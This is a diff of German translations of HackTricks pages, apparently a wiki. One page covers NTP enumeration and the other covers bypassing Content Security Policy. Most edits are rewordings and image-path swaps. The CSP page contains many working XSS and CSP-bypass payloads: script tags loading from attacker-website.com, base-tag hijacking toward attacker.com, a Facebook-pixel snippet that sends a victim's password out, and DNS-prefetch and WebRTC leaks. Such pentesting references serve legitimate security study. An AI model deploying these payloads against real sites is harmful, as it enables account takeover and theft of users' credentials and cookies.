Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -16,7 +16,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -24,7 +24,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -42,7 +42,7 @@ Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkger
* **Sicherheitsmaßnahmen**:
* Verwenden Sie vertrauenswürdige NTP-Quellen mit Authentifizierung.
* Beschränken Sie den Netzwerkzugang zum NTP-Server.
* Überwachen Sie die Synchronisierung auf Anzeichen von Manipulation.
* Überwachen Sie die Synchronisation auf Anzeichen von Manipulation.
**Standardport:** 123/udp
```
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -108,7 +108,7 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit Hack Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeitnachrichten und Einblicke
Bleibe auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates

View file

@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,7 +23,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -32,7 +32,7 @@ Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Up
## Was ist CSP
Content Security Policy (CSP) wird als Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
Content Security Policy (CSP) wird als Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`.
Die Implementierung von CSP erfolgt durch **Antwort-Header** oder durch die Einfügung von **Meta-Elementen in die HTML-Seite**. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle erkannten Verstöße.
@ -74,30 +74,30 @@ object-src 'none';
* **frame-src**: Beschränkt URLs für Frames.
* **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten können, anwendbar auf Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>` und `<applet>`.
* **img-src**: Definiert erlaubte Quellen für Bilder.
* **font-src**: Gibt gültige Quellen für Schriftarten an, die mit `@font-face` geladen werden.
* **font-src**: Gibt gültige Quellen für Schriften an, die mit `@font-face` geladen werden.
* **manifest-src**: Definiert erlaubte Quellen für Anwendungsmanifestdateien.
* **media-src**: Definiert erlaubte Quellen für das Laden von Medienobjekten.
* **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
* **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
* **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
* **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann.
* **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
* **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
* **sandbox**: Wendet Einschränkungen an, die ähnlich wie das Sandbox-Attribut eines `<iframe>` sind.
* **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
* **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
* **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
* **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, Formular, window.location, window.open usw.)
* **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeine Weise navigieren kann (a, Formular, window.location, window.open usw.)
### Quellen
* `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas.
* `'self'`: Erlaubt das Laden von derselben Domain.
* `'data'`: Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-kodierte Bilder).
* `'data'`: Erlaubt das Laden von Ressourcen über das Datenschema (z. B. Base64-kodierte Bilder).
* `'none'`: Blockiert das Laden von jeder Quelle.
* `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
* `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
* `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie Inline-`<script>` oder `<style>`, aus Sicherheitsgründen nicht empfohlen.
* `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Zahl).
* `'nonce'`: Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmalig verwendete Zahl).
* Wenn Sie eine eingeschränkte Ausführung von JS haben, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit `doc.defaultView.top.document.querySelector("[nonce]")` zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, sodass dies nicht erforderlich ist), wie in:
<details>
@ -115,14 +115,14 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
</details>
* `'sha256-<hash>'`: Whitelistet Skripte mit einem spezifischen sha256-Hash.
* `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash whitelisted wurde.
* `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurde.
* `'host'`: Gibt einen spezifischen Host an, wie `example.com`.
* `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
* `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z.B. Blob-URLs, die über JavaScript erstellt wurden).
* `filesystem:`: Erlaubt das Laden von Ressourcen vom Dateisystem.
* `'report-sample'`: Beinhaltet ein Beispiel des verletzenden Codes im Verletzungsbericht (nützlich für das Debugging).
* `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
* `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
* `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei gleich-origin-Anfragen, sendet jedoch nur den Ursprung, wenn die Anfrage cross-origin ist.
* `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort zu einer anderen Ressource umleiten. Nicht empfohlen, da es die Sicherheit schwächt.
## Unsichere CSP-Regeln
@ -147,7 +147,7 @@ Das funktioniert nicht, für mehr Informationen [**hier überprüfen**](https://
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Funktionierender Payload:
Arbeitslast:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
@ -159,7 +159,7 @@ Wenn Sie es irgendwie schaffen können, dass ein **erlaubter JS-Code ein neues S
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Funktionierender Payload:
Arbeitslast:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -184,19 +184,19 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Wenn Sie eine JS-Datei hochladen können, können Sie diese CSP umgehen:
Funktionierender Payload:
Funktionsfähige Payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Es ist jedoch sehr wahrscheinlich, dass der Server die **hochgeladene Datei validiert** und nur bestimmte Dateitypen **erlaubt**.
Jedoch ist es sehr wahrscheinlich, dass der Server **die hochgeladene Datei validiert** und nur **bestimmte Dateitypen** zulässt.
Darüber hinaus, selbst wenn Sie einen **JS-Code in** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wäre das nicht genug, da einige Server wie der Apache-Server den **MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **Javascript**-Code in etwas, das ein Bild sein sollte, **nicht ausführen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache nicht weiß**, was die _**.wave**_-Erweiterung ist, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
Darüber hinaus, selbst wenn du einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könntest, wird das nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die** _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **missverstandene Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
Von hier aus, wenn du ein XSS und einen Datei-Upload findest und es dir gelingt, eine **missverstandene Erweiterung** zu finden, könntest du versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstelle ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
### Form-action
Wenn es nicht möglich ist, JS zu injizieren, könnten Sie immer noch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.
Wenn es nicht möglich ist, JS zu injizieren, könntest du immer noch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Du kannst ein [**Beispiel in diesem Bericht finden**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachte auch, dass `default-src` keine Formularaktionen abdeckt.
### Third Party Endpoints + ('unsafe-eval')
@ -227,7 +227,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads unter Verwendung von Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
@ -274,7 +274,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Mehr [**Payloads aus diesem Bericht**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Mehr [**Payloads aus diesem Artikel**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -299,7 +299,7 @@ Abusing \*.google.com/script.google.com
Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es [in diesem Bericht](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) gemacht wird.
### Third Party Endpoints + JSONP
### Dritte Parteien Endpunkte + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -315,22 +315,22 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Redirects vertrauenswürdig sind.
### Missbrauch durch Dritte
Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:
| Entity | Erlaubte Domain | Fähigkeiten |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Entity | Erlaubte Domain | Fähigkeiten |
| ----------------- | ------------------------------------------ | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.
@ -348,7 +348,7 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager unter einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und um ein benutzerdefiniertes Ereignis wie folgt auszulösen:
@ -358,11 +358,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele andere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Neben der oben genannten Umleitung, um Pfadbeschränkungen zu umgehen, gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Neben der oben genannten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
Wenn CSP beispielsweise den Pfad `https://example.com/scripts/react/` zulässt, kann er wie folgt umgangen werden:
```html
@ -390,7 +390,7 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **Tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
```html
<base href="https://www.attacker.com/">
@ -428,7 +428,7 @@ Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.c
Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, wird sie dennoch fehlschlagen.
Laut der Beschreibung in [CSP spec 4.2.2.3. Pfade und Umleitungen](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
Hier ist ein Beispiel:
```html
@ -470,11 +470,11 @@ Sie können diese CSP umgehen, indem Sie die Daten über Bilder exfiltrieren (in
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt. Sie könnten ein **spezielles Bild** **erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" ausnutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" ausnutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Mit Service Workern
Die Funktion **`importScripts`** von Service Workern ist nicht durch CSP eingeschränkt:
Die **`importScripts`**-Funktion von Service Workern ist nicht durch CSP eingeschränkt:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@ -568,9 +568,9 @@ run();
Dieser Angriff würde einige soziale Ingenieurkunst erfordern, bei der der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP-Bypass durch Einschränkung von CSP
### CSP-Umgehung durch Einschränkung von CSP
In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
@ -592,7 +592,7 @@ CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werde
```
### JS-Exfiltration mit Content-Security-Policy-Report-Only
Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von dir kontrollierten Wert** hat (vielleicht wegen eines CRLF), könntest du ihn auf deinen Server verweisen lassen und wenn du den **JS-Inhalt**, den du exfiltrieren möchtest, mit **`<script>`** umschließt und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von dir kontrollierten Wert** hat (vielleicht wegen eines CRLF), könntest du ihn auf deinen Server verweisen lassen und wenn du den **JS-Inhalt**, den du exfiltrieren möchtest, mit **`<script>`** umschließt und weil höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
Für ein Beispiel [**siehe diesen CTF-Bericht**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -618,11 +618,11 @@ Beide Methoden nutzen die Nuancen der CSP-Implementierung und -Verhalten in Brow
Trick von [**hier**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
**Hacking Insights**\
**Hacking Einblicke**\
Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
@ -631,7 +631,7 @@ Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Na
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
**Tritt uns bei auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
## Unsichere Technologien zum Umgehen von CSP
@ -687,7 +687,7 @@ Sie könnten umleiten, indem Sie einen Meta-Tag injizieren (dies ist nur eine Um
```
### DNS Prefetch
Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorauflösen und sie für die spätere Verwendung zwischenspeichern.\
Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und sie für die spätere Verwendung zwischenspeichern.\
Sie können einen Browser anweisen, einen Hostnamen vorab aufzulösen mit: `<link rel="dns-prefetch" href="something.com">`
Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**:
@ -708,14 +708,14 @@ Um dies zu vermeiden, kann der Server den HTTP-Header senden:
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Offensichtlich funktioniert diese Technik nicht in headless-Browsern (Bots)
Offensichtlich funktioniert diese Technik nicht in headless Browsern (Bots)
{% endhint %}
### WebRTC
Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.
Tatsächlich kann man _Informationen_ mit einer _DNS-Anfrage_ _leaken_. Schau dir diesen Code an:
Tatsächlich kann man _leak_ Informationen mit einer _DNS-Anfrage_. Schau dir diesen Code an:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
